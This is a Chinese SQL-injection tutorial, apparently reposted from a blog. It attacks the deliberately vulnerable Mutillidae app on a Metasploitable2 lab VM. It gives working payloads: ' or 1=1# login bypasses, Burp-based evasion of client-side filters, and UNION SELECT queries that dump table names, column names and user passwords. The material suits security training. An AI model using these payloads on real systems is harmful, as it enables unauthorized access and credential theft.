ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

渗透测试之SQL注入(下篇)

2022-03-02 01:02:25  阅读:270  来源: 互联网

标签:username php 下篇 渗透 数据库 登入 SQL password


一、数据库基础知识

  1.什么是SQL?

  1)大多数网站使用数据库存储数据

  2)数据库database(DB)存储了用户名,密码等重要数据

  3)网站应用程序读取,更新和插入数据到数据库中

  4)和数据库进行交互就是SQL,使用SQL语句/注入语句。

  mysql是其中一种常用的数据库。

  我们部署的metasploitable2

  

 

 

       mysql -u 用户名 -h 目标地址     连接上数据库。

  2.mysql 基础语法

    1) 显示所有数据库

    show databases

    

 

 

    2)使用数据库

 

    use 数据库名;

 

    

 

 

    3)显示数据库的所有表

    show tables;

 

    

 

 

         4)选择accounts表的所有内容   *表示所有

    select * from accounts;    

 

 

        

 

 

 

   3.为什么SQL注入很危险?

  1)它们比较常见。

  2)它们通过数据库获得敏感数据。

  3)可以被使用去读取WWW root外部的本地文件。

  4)可以被使用作为管理员登入并进一步利用系统。

  5)被用作文件上传。

================================================

 4.在POST中发现SQL注入。

  1)使用'and', 'order by', 或者" ' "破环正常页面。

  2)测试文本框或参数时

  比如PHP页面 http://host/page.php?something=something

  举个栗子:打开Mutillidae 点击登入/注册页面,先随便注册一个账号:szs 密码:123456

  

 

 

   ps:如果注册用户失败,说metasploit数据库不存在,那么就在metasploitables中改下数据库名

  

 

  改为:dbname='owasp10',刷新页面重新注册就ok了。

 

   

 

  

 

 

    正常访问界面:输入szs   123456 登入成功。

    

 

 

 

      SQL语句 select * from where username='szs' and password='$Password'

      正常情况输入123456就登入了,如果存在SQL注入漏洞,我们就可以 输入123456’ and 1=1# 单引号闭合前面的语句 # 注释掉后面的所有语句

     SQL语句就被构造成select * from where username='szs' and password='123456' and 1=1#' 

        发现正常登入。

 

 

      而输入123456'and 1=2#则会报错。

     

      说明构造命令被执行,存在SQL注入漏洞。

 

==========================================================================================

  

5.使用SQL注入绕过登录。

  使用用户名: admin  密码:1' or 1=1#     or表示一真即真,1=1显然是true。所以可以绕过密码。

 

 

 

 

 

 

 发现不需要输入密码就登入了管理员账号。

甚至我们可以连账号都不用输,直接在账号输入:     ’or 1=1#            密码随便因为后面都是无效语句被注释掉了。

  

 

 

 

 ====================================================================================================

 

   6.使用SQL注入绕过更安全的登录。

  上述讲到的例子是输入框完全没做安全防护的情况,现在我们将安全等级提高,比如输入使用过滤器,过滤特殊字符,该怎么绕过?

  这时我们可以使用Burpsuite开启代理获得http数据,这时的数据已经通过了过滤器,所以我们只需要通过bp对http包修改,转发就行了。打开bp ,开启代理,抓取http包

 

 

 

 

 发现抓到了包,并且输入的密码是123,显然密码是错误的,现在已经通过了过滤器,我们可以将值修改为 123‘or 1=1#绕过登入。

 

 

 

 

 

 然后转发,查看浏览器,成功登入。

 

因为过滤是通过页面上执行的javascript代码在客户端进行的,我们抓取的包是在链路当中。

 

 

===================================================================================

  7.防止在登入页面中进行SQL注入-安全性。

  

<?php
  // case1:不安全的代码   $query = "SELECT * FROM accounts WHERE username='".$username
        "'AND password='".$password,
  // case2:更安全的代码
  $query = "SELECT * FROM accounts WHERE username='".
  $conn->rela_escape_string($username).
  "' AND password='"
  $conn->real_escape_string($password)."'";
?>

 

 

 

 ====================================================================================

   8.在GET中发现SQL注入。

  选择OWASP Top10 -->A1injection -->SQLi extact data -->user info

  创建一个用户szs  密码 123456

  

 

 

 登录:

相当于执行了:Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

 

url中使用GET方法,我们可以看到url存在username=   password=字样

http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password=123456&user-info-php-submit-button=View+Account+Details

我们可以构造payload如下:

http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password='or 1=1--+&user-info-php-submit-button=View+Account+Details

 

 

 发现爆出所有用户名密码。 

1)判断注入点后

2)order by  或者 union select 1,2,3....判断有多少列。

 

 

 

 

 

3)读取数据库信息

 

 

 4)查找数据表

username=%27union%20select%201,table_name,null,null,5%20from%20information_schema.tables%20where%20table_schema=%27owasp10%27%23

 

 

 

 

 

5)查找表的列名 %27-- '      %20--空格    %23-- #

username=%27union%20select%201,column_name,null,null,5%20from%20information_schema.columns%20where%20table_name=%27accounts%27%23

 

 

 

 6)爆出数据,用户名和密码

username=%27union%20select%201,username,password,is_admin,5 from accounts%20

 

 

 

 =======================================================================================================

  9.发现和利用盲SQL注入。

  '1 and 1=1#

  '1 and 1=2#  

  通过回显信息,判断是否是SQL注入点.

 

 

 

 

 

 

 

 

 

 

 

 

http://192.168.164.129/mutillidae/index.php?page=user-info.php

标签:username,php,下篇,渗透,数据库,登入,SQL,password
来源: https://www.cnblogs.com/shacker/p/15948313.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有